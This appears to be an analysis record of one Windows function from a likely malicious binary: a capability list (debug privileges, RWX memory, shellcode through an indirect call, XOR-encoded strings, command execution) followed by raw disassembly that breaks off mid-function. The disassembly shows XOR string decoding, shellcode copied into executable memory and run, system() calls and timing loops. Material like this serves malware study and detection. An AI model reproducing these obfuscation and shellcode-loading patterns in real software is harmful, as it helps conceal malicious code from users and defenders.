Function at 0x14001c820
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Encode data using xor
Execute command
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x5b50
call fcn.14007e350
sub rsp, rax
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
xor r13d, r13d
call fcn.14001f5b8
call fcn.14001f560
call fcn.14001f5ce
call fcn.14001f560
call fcn.14001f58c
call fcn.14001f576
call fcn.14001f58c
call fcn.14001f576
call fcn.14001f5a2
movabs rax, 0x80ad56a289400a05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
movabs r12, 0xc1f097f7809868cc
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
xorps xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x408], rax
lea r14, [rsp + 0x5b78]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x668], r15
mov qword [rbp + 0x670], r14
mov rbx, qword [r14]
xor rbx, r15
mov qword [rbp + 0x660], rbx
mov qword [r14], r13
mov ecx, r13d
lea rsi, [0x1400184a0]
lea rdi, [0x140000000]
mov rax, qword [0x1400a5c50]
test rax, rax
je 0x14001c979
mov edx, r13d
nop dword [rax]
cmp rax, rsi
je 0x14001c968
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0xa5c50]
test rax, rax
jne 0x14001c950
jmp 0x14001c979
mov r8, qword [rdi + rdx*8 + 0xa5f70]
test r8, r8
jne 0x14001ca5f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001c9a0
mov r8, r13
jmp 0x14001ca3e
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001c9b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400a5c48]
mov qword [rdi + rax*8 + 0xa5c50], rsi
mov qword [rdi + rax*8 + 0xa5f70], r8
inc rax
mov qword [0x1400a5c48], rax
lea rdx, [rbp + 0x408]
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
xor rbx, r15
mov qword [rbp + 0x660], rbx
mov qword [r14], rbx
call fcn.14001a7f0
movabs r15, 0x80ad56a2cc7e2728
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs r14, 0x80ad56a2cc0d4b4b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movdqa xmm0, xmmword [rbp + 0x200]
xorps xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rbp + 0x200], xmm0
lea rcx, [rbp + 0x200]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400a59d0]
call fcn.14002a790
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400830f4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
movdqa xmm1, xmmword [0x140083fc0]
movdqu xmmword [rbp + 0x2e0], xmm1
mov byte [rbp + 0x2d0], 0
movups xmmword [rbp + 0x2f0], xmm0
movdqu xmmword [rbp + 0x300], xmm1
mov byte [rbp + 0x2f0], 0
movups xmmword [rbp + 0x310], xmm0
movdqu xmmword [rbp + 0x320], xmm1
mov byte [rbp + 0x310], 0
movups xmmword [rbp + 0x330], xmm0
movdqu xmmword [rbp + 0x340], xmm1
mov byte [rbp + 0x330], 0
movabs rbx, 0xaec924cdaf7e220f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rdi, 0xc1f097f780fd10a9
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x500], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x508], rax
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rbp + 0x210], xmm0
lea rcx, [rbp + 0x210]
call fcn.14001a660
mov rsi, 0xffffffffffffffff
movabs rcx, 0x155686495392282e
movabs rdx, 0xb05934bcdf38c855
test eax, eax
je 0x14001ceb5
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4f0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4f8], rax
movdqa xmm0, xmmword [rbp + 0x1a0]
xorps xmm0, xmmword [rbp + 0x4f0]
movdqa xmmword [rbp + 0x1a0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3c0], xmm1
lea rax, [rbp + 0x1a0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14001cc86
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x3b0]
call fcn.14000be10
nop
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x890]
call fcn.14001aea0
mov rbx, rax
lea rax, [rbp + 0x2d0]
cmp rax, rbx
je 0x14001cd2b
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0xf
jbe 0x14001cd07
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cd02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001cde4
call fcn.14007e0f0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x2e0], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea rdi, [rbx + 0x20]
lea rax, [rbp + 0x2f0]
cmp rax, rdi
je 0x14001cd9c
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x14001cd78
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cd73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001cde4
call fcn.14007e0f0
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x2f0], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x300], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rdi, [rbx + 0x40]
lea rax, [rbp + 0x310]
cmp rax, rdi
je 0x14001ce14
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x14001cdf0
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cdeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001cdeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007e0f0
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x310], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x320], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
add rbx, 0x60
lea rax, [rbp + 0x330]
cmp rax, rbx
je 0x14001ce48
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x330], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x340], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
lea rcx, [rbp + 0x890]
call fcn.140018f90
nop
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x14001ce99
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001ce94
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007e0f0
movdqa xmm0, xmmword [0x140083fc0]
movdqu xmmword [rbp + 0x3c0], xmm0
mov byte [rbp + 0x3b0], 0
jmp 0x14001d3e4
movabs rbx, 0xc3c924cdaf7e220f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rdi, 0xb995b98ef2f906ad
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
movabs r14, 0xb05934bcdf38c830
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x430], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x438], rax
movabs rax, 0x80ad56a2cc0d4b4b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
vmovdqu ymm0, ymmword [rbp + 0x420]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x420], ymm1
lea rcx, [rbp + 0x420]
vzeroupper
call fcn.14001a660
test eax, eax
je 0x14001d11c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rdi, 0x155686495392282e
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs r14, 0x80ad56a2cc0d4b4b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x3e0], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x350], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x360], xmm1
lea rax, [rbp + 0x3e0]
mov r8, rsi
vzeroupper
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d060
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x350]
call fcn.14000be10
nop
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x910]
call fcn.14001aea0
mov rbx, rax
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140019720
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x2f0]
call fcn.140019720
lea rdx, [rbx + 0x40]
lea rcx, [rbp + 0x310]
call fcn.140019720
lea rdx, [rbx + 0x60]
lea rcx, [rbp + 0x330]
call fcn.140019720
lea rcx, [rbp + 0x910]
call fcn.140018f90
nop
mov r8, qword [rbp + 0x368]
cmp r8, 0xf
jbe 0x14001d100
mov rdx, qword [rbp + 0x350]
lea rcx, [rbp + 0x350]
call fcn.14001b3a0
movdqa xmm0, xmmword [0x140083fc0]
movdqu xmmword [rbp + 0x360], xmm0
mov byte [rbp + 0x350], 0
jmp 0x14001d3ee
movabs rbx, 0xd0c924cdaf7e220f
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rdi, 0xc1f0f28fe5b60ab8
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs r14, 0x80ad56a2cc0d4b4b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4e8], rax
movdqa xmm0, xmmword [rbp + 0x220]
xorps xmm0, xmmword [rbp + 0x4e0]
movdqa xmmword [rbp + 0x220], xmm0
lea rcx, [rbp + 0x220]
call fcn.14001a660
test eax, eax
je 0x14001d271
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x510], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x518], rax
movdqa xmm0, xmmword [rbp + 0x1b0]
xorps xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rbp + 0x1b0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x740], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x750], xmm1
lea rax, [rbp + 0x1b0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14001d213
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x740]
call fcn.14000be10
nop
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x990]
call fcn.14001aea0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.1400197b0
lea rcx, [rbp + 0x990]
call fcn.140018f90
nop
lea rcx, [rbp + 0x740]
call fcn.140007230
jmp 0x14001d3e4
movabs rbx, 0xf2c235d6a46a2207
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rdi, 0xc1f09792f8fd46a8
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0x230]
call fcn.14001a660
test eax, eax
je 0x14001d3e4
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
movdqa xmm0, xmmword [rbp + 0x1c0]
xorps xmm0, xmmword [rbp + 0x550]
movdqa xmmword [rbp + 0x1c0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x380], xmm1
lea rax, [rbp + 0x1c0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14001d360
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x370]
call fcn.14000be10
nop
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0xa10]
call fcn.14001aea0
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.1400197b0
lea rcx, [rbp + 0xa10]
call fcn.140018f90
nop
mov r8, qword [rbp + 0x388]
cmp r8, 0xf
jbe 0x14001d3cd
mov rdx, qword [rbp + 0x370]
lea rcx, [rbp + 0x370]
call fcn.14001b3a0
movdqa xmm0, xmmword [0x140083fc0]
movdqu xmmword [rbp + 0x380], xmm0
mov byte [rbp + 0x370], 0
movabs rdi, 0x155686495392282e
movabs rax, 0x80ad649aff3a7b7e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movdqa xmm0, xmmword [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rbp + 0x1d0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], r13
mov qword [rbp + 0x5b8], r13
lea rax, [rbp + 0x1d0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d470
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x5a0]
call fcn.14000be10
lea r8, [rbp + 0x5a0]
lea rdx, [rbp + 0x1e8]
lea rcx, [0x1400a59d0]
call fcn.1400280e0
nop
lea rcx, [rbp + 0x1e8]
call fcn.140005090
mov rcx, qword [rbp + 0x1e8]
cmp rcx, qword [rbp + 0x1f0]
je 0x14001d4cb
mov qword [rbp + 0x1f0], rcx
test rcx, rcx
je 0x14001d519
mov rdx, qword [rbp + 0x1f8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001d502
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001d502
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007e0f0
mov qword [rbp + 0x1e8], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f0], xmm0
movabs rax, 0xecfd76ffec276b10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
movabs rax, 0xb491dbd7e5eb09a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
movabs rax, 0xdf3555eaff50ab3b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
movabs rax, 0x6319a66527fc495c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
movabs rax, 0x441a10c2b0ee4f9a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs rsi, 0x78cadf131ee73740
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs rdi, 0x4e3a76aedf993dff
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
vmovdqu ymm0, ymmword [rbp + 0x5e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x680]
vmovdqa ymmword [rbp + 0x5e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x600]
vxorps xmm0, xmm0, xmmword [rbp + 0x6a0]
vmovdqa xmmword [rbp + 0x600], xmm0
lea rcx, [rbp + 0x5e0]
vzeroupper
call fcn.140018280
cmp qword [0x1400a59a0], 0
jne 0x14001d708
movabs rbx, 0xd4e317f083410a1d
movabs rdi, 0xc1f097f7809848ec
nop
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
movdqa xmm0, xmmword [rbp + 0x240]
xorps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rbp + 0x240], xmm0
lea rdx, [rbp + 0x240]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x1400a59a0], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400a59a0], 0
je 0x14001d680
movabs rdi, 0x4e3a76aedf993dff
movabs rax, 0xf2fd76ffec276b10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
movabs rax, 0xaeb6b784e5fb0ba3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movabs rax, 0xd13c58ecff5ca620
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
movabs rax, 0x3b22ef2804b24d5d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
movabs rax, 0x4e3a76aedf9937d1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0xb05934bcdf38c855
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rax, 0x155686495392282e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
vmovdqu ymm0, ymmword [rbp + 0x620]
vpxor ymm1, ymm0, ymmword [rbp + 0x6c0]
vmovdqa ymmword [rbp + 0x620], ymm1
vmovdqa xmm0, xmmword [rbp + 0x640]
vxorps xmm0, xmm0, xmmword [rbp + 0x6e0]
vmovdqa xmmword [rbp + 0x640], xmm0
lea rcx, [rbp + 0x620]
vzeroupper
call fcn.140018280
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
movdqa xmm0, xmmword [rbp + 0x250]
xorps xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rbp + 0x250], xmm0
lea rcx, [rbp + 0x250]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x2024], 0xffffffff
mov dword [rbp + 0xca4], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0xca4], eax
inc rdx
cmp rdx, 0x270
jb 0x14001d8d0
mov dword [rbp + 0xca0], 0x270
mov dword [rbp + 8], r13d
lea rcx, [rbp + 0x18]
call fcn.14001bea0
mov r14, qword [rbp + 0x18]
add r14, 0x5f5e100
mov qword [rbp], r14
movabs r13, 0xb2f4fc0794908cf3
mov r12d, 0x80000000
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x14001d947
imul rax, rcx, 0x64
jmp 0x14001d9b6
cmp rbx, 0x16e3600
jne 0x14001d99b
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14001d9b6
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14001dbb0
lea rax, [rbp + 0xca0]
mov qword [rbp + 0x1e0], rax
lea rax, [rbp + 0xca0]
mov qword [rbp + 0x120], rax
mov esi, 0x186a0
mov r14d, 1
nop word [rax + rax]
lea rcx, [rbp + 0x1e0]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x14001da2a
nop word [rax + rax]
lea rcx, [rbp + 0x1e0]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001da10
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r14d
lea rcx, [rbp + 0x120]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x14001da8a
cmp ecx, 0x64
jae 0x14001da8a
nop
lea rcx, [rbp + 0x120]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001da70
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 8]
add edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0xca0]
mov qword [rbp + 0x128], rax
lea rcx, [rbp + 0x128]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x14001dafa
cmp ecx, 0x64
jae 0x14001dafa
nop
lea rcx, [rbp + 0x128]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001dae0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 8]
imul edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0xca0]
mov qword [rbp + 0x130], rax
lea rcx, [rbp + 0x130]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x14001db6a
cmp edx, 0x64
jae 0x14001db6a
nop
lea rcx, [rbp + 0x130]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x14001db50
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 8]
sub eax, ecx
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], edx
sub rsi, r14
jne 0x14001d9f0
mov r14, qword [rbp]
jmp 0x14001d928
mov eax, dword [rbp + 8]
mov dword [0x1400a5998], eax
mov rdx, qword [0x1400a5960]
movabs rax, 0xe6c139d5be683d04
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xc1f097f7e5e00de2
